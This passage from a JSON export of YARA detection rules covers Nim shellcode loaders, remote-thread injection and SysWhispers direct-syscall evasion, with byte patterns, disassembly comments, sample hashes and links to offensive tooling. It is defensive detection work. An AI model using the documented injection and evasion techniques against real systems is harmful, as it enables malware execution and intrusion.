cs:__imp_CertEnumSystemStore\n            90                                            // nop\n        }\n\n        // CertEnumSystemStoreLocation.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/CertEnumSystemStoreLocation.nim\n        $cert_enum_system_store_location_s1 = \"parseHexStr\" ascii fullword\n        $cert_enum_system_store_location_s2 = \"CertEnumSystemStoreLocation\" ascii fullword\n\n        $cert_enum_system_store_location_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140001B58\n            E8 ?? ?? FF FF                                // call    sub_1400056FD\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_1400063ED\n\n                                        // sub_140006415\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006B660\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006B650\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_1400063B0\n            90                                            // nop\n        }\n\n        $cert_enum_system_store_location_x2 = {\n            41 54                                         // push    r12\n            53                                            // push    rbx\n            48 83 EC 28                                   // sub     rsp, 28h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D3                                      // mov     rbx, rdx\n            49 89 CC                                      // mov     r12, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 D8                                      // mov     r8, rbx         ; Size\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            E8 ?? ?? ?? 00                                // call    memmove\n            31 D2                                         // xor     edx, edx        ; pvArg\n            31 C9                                         // xor     ecx, ecx        ; dwFlags\n            49 89 C0                                      // mov     r8, rax         ; pfnEnum\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_CertEnumSystemStoreLocation\n            90                                            // nop\n        }\n\n        // CopyFile2.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/CopyFile2.nim\n        $copy_file2_s1 = \"parseHexStr\" ascii fullword\n        $copy_file2_s2 = \"DeleteFileW\" ascii fullword\n        $copy_file2_s3 = \"CopyFile2\" ascii fullword\n\n        $copy_file2_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F4D\n\n                                        // sub_140006F75\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D280\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D270\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_140006ED0\n            90                                            // nop\n        }\n\n        $copy_file2_x2 = {\n            48 83 EC 48                                   // sub     rsp, 48h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            49 89 CC                                      // mov     r12, rcx\n            48 89 D3                                      // mov     rbx, rdx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            49 89 D8                                      // mov     r8, rbx         ; Size\n            4C 8D 25 ?? ?? ?? 00                          // lea     r12, pwszNewFileName ; \"C:\\\\Windows\\\\Temp\\\\backup.log\"\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            E8 ?? ?? ?? 00                                // call    memmove\n            4C 89 E1                                      // mov     rcx, r12        ; lpFileName\n            48 C7 ?? ?? ?? 00 00 00 00                    // mov     [rsp+58h+pExtendedParameters.pfCancel], 0\n            48 C7 ?? ?? ?? 00 00 00 00                    // mov     [rsp+58h+pExtendedParameters.pvCallbackContext], 0\n            49 89 C1                                      // mov     r9, rax\n            B8 01 00 00 08                                // mov     eax, 8000001h\n            48 C1 E0 05                                   // shl     rax, 5\n            4C 89 4C 24 30                                // mov     [rsp+58h+pExtendedParameters.pProgressRoutine], r9\n            48 89 44 24 20                                // mov     qword ptr [rsp+58h+pExtendedParameters.dwSize], rax\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_DeleteFileW\n            4C 8D 44 24 20                                // lea     r8, [rsp+58h+pExtendedParameters] ; pExtendedParameters\n            4C 89 E2                                      // mov     rdx, r12        ; pwszNewFileName\n            48 8D 0D ?? ?? ?? 00                          // lea     rcx, pwszExistingFileName ; \"C\"\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_CopyFile2\n            90                                            // nop\n        }\n\n        // CopyFileEx.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/CopyFileEx.nim\n        $copy_fileex_s1 = \"parseHexStr\" ascii fullword\n        $copy_fileex_s2 = \"DeleteFileW\" ascii fullword\n        $copy_fileex_s3 = \"CopyFileExW\" ascii fullword\n\n        $copy_fileex_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140001B58\n            E8 ?? ?? FF FF                                // call    sub_1400056FD\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006428\n\n                                        // sub_140006450\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006B6E0\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006B6D0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E9 ?? ?? FF FF                                // jmp     sub_1400063B0\n        }\n\n        $copy_fileex_x2 = {\n            48 83 EC 30                                   // sub     rsp, 30h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D6                                      // mov     rsi, rdx\n            49 89 CC                                      // mov     r12, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 F0                                      // mov     r8, rsi         ; Size\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            4C 8D 25 ?? ?? ?? 00                          // lea     r12, NewFileName ; \"C:\\\\Windows\\\\Temp\\\\backup.log\"\n            48 89 C3                                      // mov     rbx, rax\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            E8 ?? ?? ?? 00                                // call    memmove\n            4C 89 E1                                      // mov     rcx, r12        ; lpFileName\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_DeleteFileW\n            45 31 C9                                      // xor     r9d, r9d        ; lpData\n            49 89 D8                                      // mov     r8, rbx         ; lpProgressRoutine\n            4C 89 E2                                      // mov     rdx, r12        ; lpNewFileName\n            C7 44 24 28 01 00 00 00                       // mov     [rsp+48h+dwCopyFlags], 1 ; dwCopyFlags\n            48 8D 0D ?? ?? ?? 00                          // lea     rcx, ExistingFileName ; \"C\"\n            48 C7 44 24 20 00 00 00 00                    // mov     [rsp+48h+pbCancel], 0 ; pbCancel\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_CopyFileExW\n            B8 01 00 00 00                                // mov     eax, 1\n        }\n\n        // CryptEnumOIDInfo.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/CryptEnumOIDInfo.nim\n        $crypt_enum_oid_s1 = \"parseHexStr\" ascii fullword\n        $crypt_enum_oid_s2 = \"CryptEnumOIDInfo\" ascii fullword\n\n        $crypt_enum_oid_x1 ={\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F19\n\n                                        // sub_140006F41\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E9 ?? ?? FF FF                                // jmp     sub_140006ED0\n        }\n\n        $crypt_enum_oid_x2 ={\n            48 83 EC 28                                   // sub     rsp, 28h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D3                                      // mov     rbx, rdx\n            49 89 CC                                      // mov     r12, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 D8                                      // mov     r8, rbx         ; Size\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            E8 ?? ?? ?? 00                                // call    memmove\n            45 31 C0                                      // xor     r8d, r8d        ; pvArg\n            31 D2                                         // xor     edx, edx        ; dwFlags\n            31 C9                                         // xor     ecx, ecx        ; dwGroupId\n            49 89 C1                                      // mov     r9, rax         ; pfnEnumOIDInfo\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_CryptEnumOIDInfo\n            31 C0                                         // xor     eax, eax\n        }\n\n    condition:\n        (all of ($create_timer_queue_timer_tech_s*) and 1 of ($create_timer_queue_timer_tech_x*)) or\n        (all of ($oep_hiijack_inject_load_s*) and 1 of ($oep_hiijack_inject_load_x*)) or\n        (all of ($thread_hiijack_inject_load_s*) and 1 of ($thread_hiijack_inject_load_x*)) or\n        (all of ($apc_inject_load_s*) and 1 of ($apc_inject_load_x*)) or\n        (all of ($early_bird_apc_injetc_load_s*) and 1 of ($early_bird_apc_injetc_load_x*)) or\n        (all of ($direct_load_s*) and 1 of ($direct_load_x*)) or\n        (all of ($thread_pool_wait_s*) and 1 of ($thread_pool_wait_x*)) or\n        (all of ($fiber_load_s*) and 1 of ($fiber_load_x*)) or\n        (all of ($cert_enum_system_store_s*) and 1 of ($cert_enum_system_store_x*)) or\n        (all of ($cert_enum_system_store_location_s*) and 1 of ($cert_enum_system_store_location_x*)) or\n        (all of ($copy_file2_s*) and 1 of ($copy_file2_x*)) or\n        (all of ($copy_fileex_s*) and 1 of ($copy_fileex_x*)) or\n        (all of ($crypt_enum_oid_s*) and 1 of ($crypt_enum_oid_x*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nimshellcodeloader_be89caf9af0f"
+  ],
+  "rule_creation_date": "2024-03-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.NimShellCodeLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1567",
+    "attack.t1005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nim_suspended_thread_injection_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563590Z",
+  "creation_date": "2026-03-23T11:46:25.563593Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563598Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/suspended_thread_injection.nim\nhttps://ajpc500.github.io/nim/Shellcode-Injection-using-Nim-and-Syscalls/"
+  ],
+  "name": "nim_suspended_thread_injection.yar",
+  "content": "rule nim_suspended_thread_injection {\n    meta:\n        title = \"Nim Suspended Thread Injection\"\n        id = \"8dcdbe16-9397-4282-8a19-70a6fc54c91e\"\n        description = \"Detects malicious code written in the Nim programming language that uses the CreateRemoteThread injection technique to execute a shellcode.\\nThis technique involves injecting malicious code into a target process by creating a suspended thread, which is then resumed to execute the injected shellcode.\\nThis method is commonly used to evade process-based detection mechanisms and execute arbitrary code in the context of a legitimate process.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/suspended_thread_injection.nim\\nhttps://ajpc500.github.io/nim/Shellcode-Injection-using-Nim-and-Syscalls/\"\n        date = \"2023-08-30\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1055.003\"\n        classification = \"Windows.Generic.NimThreadInjection\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 9127f4731cb668c005941f22e29406e5973f97a54faa0ea3d8b91b163e37b19a\n\n        $s1 = \"fatal.nim\" ascii fullword\n\n        $s2 = \"@[*] Target Process:\" ascii fullword\n        $s3 = \"@[*] pHandle:\" ascii fullword\n        $s4 = \"@[+] Injected\" ascii fullword\n        $s5 = \"injectCreateRemoteThread\" ascii fullword\n\n        $NimMainModule = {\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 50                                   // sub     rsp, 50h\n            48 8D 05 ?? ?? ?? ??                          // lea     rax, aCsRemoteInject\n            48 89 45 D8                                   // mov     [rbp+var_28], rax\n            48 8D 05 ?? ?? ?? ??                          // lea     rax, aMntHgfsHackFra_0\n            48 89 45 E8                                   // mov     [rbp+var_18], rax\n            48 C7 45 E0 00 00 00 00                       // mov     [rbp+var_20], 0\n            66 C7 45 F0 00 00                             // mov     [rbp+var_10], 0\n            48 8D 45 D0                                   // lea     rax, [rbp+var_30]\n            48 89 C1                                      // mov     rcx, rax\n            E8 ?? ?? ?? ??                                // call    nimFrame_9\n            48 C7 45 E0 ?? ?? 00 00                       // mov     [rbp+var_20], 4026h\n            48 8D 05 ?? ?? ?? ??                          // lea     rax, aMntHgfsHackFra_0\n            48 89 45 E8                                   // mov     [rbp+var_18], rax\n            48 8D 0D ?? ?? ?? ??                          // lea     rcx, shellcode__nC7AhFRV8w0B9aln5m39cX0A\n            E8 ?? ?? ?? ??                                // call    injectCreateRemoteThread__jg7gJ2nISpQOlCvAz9bnGUQ\n            E8 ?? ?? ?? ??                                // call    popFrame_9\n            90                                            // nop\n            48 83 C4 50                                   // add     rsp, 50h\n            5D                                            // pop     rbp\n            C3                                            // retn\n        }\n\n        $injectCreateRemoteThread = {\n            48 8D 0D ?? ?? ?? ??                          // lea     rcx, TM__RHIc7C9cgCxy024IyLWcgug_2\n            E8 ?? ?? ?? ??                                // call    nospstartProcess\n            48 89 45 F8                                   // mov     [rbp+var_8], rax\n            48 C7 85 ?? ?? FF FF ?? 00 00 00              // mov     [rbp+var_1E0], 0Eh\n            48 8D 05 ?? ?? ?? ??                          // lea     rax, aMntHgfsHackFra_0\n            48 89 85 ?? ?? ?? ??                          // mov     [rbp+var_1D8], rax\n            48 8B 45 F8                                   // mov     rax, [rbp+var_8]\n            48 89 C1                                      // mov     rcx, rax\n            E8 ?? ?? FF FF                                // call    nospsuspend\n            48 C7 85 ?? ?? FF FF ?? 00 00 00              // mov     [rbp+var_1E0], 0Fh\n            48 8D 05 ?? ?? ?? ??                          // lea     rax, aMntHgfsHackFra_0\n            48 89 85 ?? ?? FF FF                          // mov     [rbp+var_1D8], rax\n            48 8D 85 ?? ?? FF FF                          // lea     rax, [rbp+var_150]\n            48 89 C1                                      // mov     rcx, rax\n            E8 ?? ?? ?? ??                                // call    pushSafePoint_0\n            48 89 EA                                      // mov     rdx, rbp\n            48 8D 85 ?? ?? FF FF                          // lea     rax, [rbp+var_150]\n            48 83 C0 10                                   // add     rax, 10h\n            48 89 C1                                      // mov     rcx, rax\n            E8 ?? ?? ?? ??                                // call    _setjmp\n            48 98                                         // cdqe\n            48 89 85 ?? ?? FF FF                          // mov     [rbp+var_148], rax\n            48 8B 85 ?? ?? FF FF                          // mov     rax, [rbp+var_148]\n            48 85 C0                                      // test    rax, rax\n            0F 85 ?? ?? ?? ??                             // jnz     loc_41CC46\n        }\n\n    condition:\n        all of ($s*) or\n        ($s1 and $NimMainModule and $injectCreateRemoteThread)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nim_suspended_thread_injection"
+  ],
+  "rule_creation_date": "2023-08-30",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.NimThreadInjection"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.003"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nim_syswhispers2_3_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572562Z",
+  "creation_date": "2026-03-23T11:46:25.572565Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572570Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ajpc500/NimlineWhispers2\nhttps://github.com/klezVirus/NimlineWhispers3"
+  ],
+  "name": "nim_syswhispers2_3.yar",
+  "content": "rule nim_syswhispers2_3 {\n    meta:\n        title = \"Nim Direct Syscall via SysWhispers2/3\"\n        id = \"e8b54c4c-a049-40db-acda-210b55de16a9\"\n        description = \"Detects suspicious Nim code featuring SysWhispers2/3 patterns.\\nSysWhispers2 and 3 are projects that help attackers evade detection by generating header/ASM files that can be used to make direct system calls on Windows.\\nNim is a programming language that can be used to create such direct system calls, which can be employed for malicious purposes such as persistence, privilege escalation, or data exfiltration. These techniques can be used for both legitimate and malicious activities, making detection challenging.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://github.com/ajpc500/NimlineWhispers2\\nhttps://github.com/klezVirus/NimlineWhispers3\"\n        date = \"2023-08-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.007\"\n        classification = \"Windows.Generic.NimDirectSyscall\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b107545a730cd8a999d58daac31c59e20c12219c7d999ad05987c5cae0602851\n        // bce472d73b05a851ec801c46954122c56fdb3db930964ed7dc5107533d9e2cec\n\n        $nim1 = \"fatal.nim\" ascii fullword\n        $nim2 = \"NimMain\" ascii fullword\n\n        $s1 = \"SW2_PopulateSyscallList\" ascii fullword\n        $s2 = \"SW2_HashSyscall\" ascii fullword\n        $s3 = \"SW2_GetSyscallNumber\" ascii fullword\n        $s4 = \"SW3_GetSyscallAddress\" ascii fullword\n        $s5 = \"SW3_GetSyscallNumber\" ascii fullword\n        $s6 = \"SW3_HashSyscall\" ascii fullword\n        $s7 = \"SW3_SyscallList\" ascii fullword\n\n        $PopulateSyscallList = {\n            20 20 20 20                                     // or      r8d, 20202020h\n            [1-3] 6E 74 64 6C                               // cmp     r8d, 6C64746Eh\n            75 ??                                           // jnz     short loc_408F91\n            [3-10]                                          // mov     edx, [rdx+4]\n            [1-2] 20 20 20 20                               // or      edx, 20202020h\n            [1-2] 6C 2E 64 6C                               // cmp     edx, 6C642E6Ch\n            74 ??                                           // jz      short loc_408FA8\n        }\n\n        $syscall = {\n            48 89 4C 24 08                                  // mov     [rsp+arg_0], rcx\n            48 89 54 24 10                                  // mov     [rsp+arg_8], rdx\n            4C 89 44 24 18                                  // mov     [rsp+arg_10], r8\n            4C 89 4C 24 20                                  // mov     [rsp+arg_18], r9\n            48 83 EC 28                                     // sub     rsp, 28h\n            B9 ?? ?? ?? ??                                  // mov     ecx, 667614E0h\n            E8 ?? ?? ?? ??                                  // call    sub_14000FF0F\n            48 83 C4 28                                     // add     rsp, 28h\n            48 8B 4C 24 08                                  // mov     rcx, [rsp+arg_0]\n            48 8B 54 24 10                                  // mov     rdx, [rsp+arg_8]\n            4C 8B 44 24 18                                  // mov     r8, [rsp+arg_10]\n            4C 8B 4C 24 20                                  // mov     r9, [rsp+arg_18]\n            49 89 CA                                        // mov     r10, rcx\n            (\n                90 0F 05 |                                    // nop + syscall\n                0F 05                                         // syscall\n            )\n            C3                                              // retn\n        }\n\n    condition:\n        1 of ($nim*) and\n        (\n            1 of ($s*) or\n            $PopulateSyscallList or\n            $syscall\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nim_syswhispers2_3"
+  ],
+  "rule_creation_date": "2023-08-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.NimDirectSyscall"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nim_syswhispers_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573253Z",
+  "creation_date": "2026-03-23T11:46:25.573255Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573261Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ajpc500/NimlineWhispers\nhttps://github.com/jthuraisamy/SysWhispers"
+  ],
+  "name": "nim_syswhispers.yar",
+  "content": "rule nim_syswhispers {\n    meta:\n        title = \"Nim Direct Syscall via SysWhispers\"\n        id = \"533dbdf1-73b4-40c0-a08c-d558e50273b3\"\n        description = \"Detects the Nim SysWhispers malware.\\nSysWhispers is a project designed to help malware evade detection by generating header/ASM files that can be used to make direct system calls on Windows.\\nThis rule detects the presence of Nim code that uses SysWhispers to perform direct system calls which can be indicative of malicious activity.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://github.com/ajpc500/NimlineWhispers\\nhttps://github.com/jthuraisamy/SysWhispers\"\n        date = \"2023-08-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.007\"\n        classification = \"Windows.Generic.NimDirectSyscall\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 9127f4731cb668c005941f22e29406e5973f97a54faa0ea3d8b91b163e37b19a\n\n        $s1 = \"fatal.nim\" ascii fullword\n\n        $NtOpenProcess = {\n            65 48 8B 04 25 60 00 00 00                    // mov     rax, gs:60h\n\n                                          // NtOpenProcess_Check  _X_X_XXXX:\n            83 B8 18 01 00 00 06                          // cmp     dword ptr [rax+118h], 6\n            74 0E                                         // jz      short NtOpenProcess_Check_6_X_XXXX\n            83 B8 18 01 00 00 0A                          // cmp     dword ptr [rax+118h], 0Ah\n            74 50                                         // jz      short NtOpenProcess_Check_10_0_XXXX\n            E9 3F 01 00 00                                // jmp     NtOpenProcess_SystemCall_Unknown\n\n\n                                          // NtOpenProcess_Check  _6_X_XXXX:\n            83 B8 1C 01 00 00 01                          // cmp     dword ptr [rax+11Ch], 1\n            74 1F                                         // jz      short NtOpenProcess_Check_6_1_XXXX\n            83 B8 1C 01 00 00 02                          // cmp     dword ptr [rax+11Ch], 2\n            0F 84 CE 00 00 00                             // jz      NtOpenProcess_SystemCall_6_2_XXXX\n            83 B8 1C 01 00 00 03                          // cmp     dword ptr [rax+11Ch], 3\n            0F 84 C8 00 00 00                             // jz      NtOpenProcess_SystemCall_6_3_XXXX\n            E9 17 01 00 00                                // jmp     NtOpenProcess_SystemCall_Unknown\n\n\n                                          // NtOpenProcess_Check  _6_1_XXXX:\n            66 81 B8 20 01 00 00 B0 1D                    // cmp     word ptr [rax+120h], 1DB0h\n            0F 84 9F 00 00 00                             // jz      NtOpenProcess_SystemCall_6_1_7600\n            66 81 B8 20 01 00 00 B1 1D                    // cmp     word ptr [rax+120h], 1DB1h\n            0F 84 97 00 00 00                             // jz      NtOpenProcess_SystemCall_6_1_7601\n            E9 F4 00 00 00                                // jmp     NtOpenProcess_SystemCall_Unknown\n\n\n                                          // NtOpenProcess_Check  _10_0_XXXX:\n            66 81 B8 20 01 00 00 00 28                    // cmp     word ptr [rax+120h], 2800h\n            0F 84 98 00 00 00                             // jz      NtOpenProcess_SystemCall_10_0_10240\n            66 81 B8 20 01 00 00 5A 29                    // cmp     word ptr [rax+120h], 295Ah\n            0F 84 90 00 00 00                             // jz      NtOpenProcess_SystemCall_10_0_10586\n            66 81 B8 20 01 00 00 39 38                    // cmp     word ptr [rax+120h], 3839h\n            0F 84 88 00 00 00                             // jz      NtOpenProcess_SystemCall_10_0_14393\n            66 81 B8 20 01 00 00 D7 3A                    // cmp     word ptr [rax+120h], 3AD7h\n            0F 84 80 00 00 00                             // jz      NtOpenProcess_SystemCall_10_0_15063\n            66 81 B8 20 01 00 00 AB 3F                    // cmp     word ptr [rax+120h], 3FABh\n            74 7C                                         // jz      short NtOpenProcess_SystemCall_10_0_16299\n            66 81 B8 20 01 00 00 EE 42                    // cmp     word ptr [rax+120h], 42EEh\n            74 78                                         // jz      short NtOpenProcess_SystemCall_10_0_17134\n            66 81 B8 20 01 00 00 63 45                    // cmp     word ptr [rax+120h], 4563h\n            74 74                                         // jz      short NtOpenProcess_SystemCall_10_0_17763\n            66 81 B8 20 01 00 00 BA 47                    // cmp     word ptr [rax+120h], 47BAh\n            74 70                                         // jz      short NtOpenProcess_SystemCall_10_0_18362\n            66 81 B8 20 01 00 00 BB 47                    // cmp     word ptr [rax+120h], 47BBh\n            74 6C                                         // jz      short NtOpenProcess_SystemCall_10_0_18363\n            66 81 B8 20 01 00 00 61 4A                    // cmp     word ptr [rax+120h], 4A61h\n            74 68                                         // jz      short NtOpenProcess_SystemCall_10_0_19041\n            66 81 B8 20 01 00 00 62 4A                    // cmp     word ptr [rax+120h], 4A62h\n            74 64                                         // jz      short NtOpenProcess_SystemCall_10_0_19042\n            EB 69                                         // jmp     short NtOpenProcess_SystemCall_Unknown\n\n                                          // NtOpenProcess_SystemCall_6_1_7600:\n            B8 23 00 00 00                                // mov     eax, 23h\n            EB 63                                         // jmp     short NtOpenProcess_Epilogue\n\n                                          // NtOpenProcess_SystemCall_6_1_7601:\n            B8 23 00 00 00                                // mov     eax, 23h\n            EB 5C                                         // jmp     short 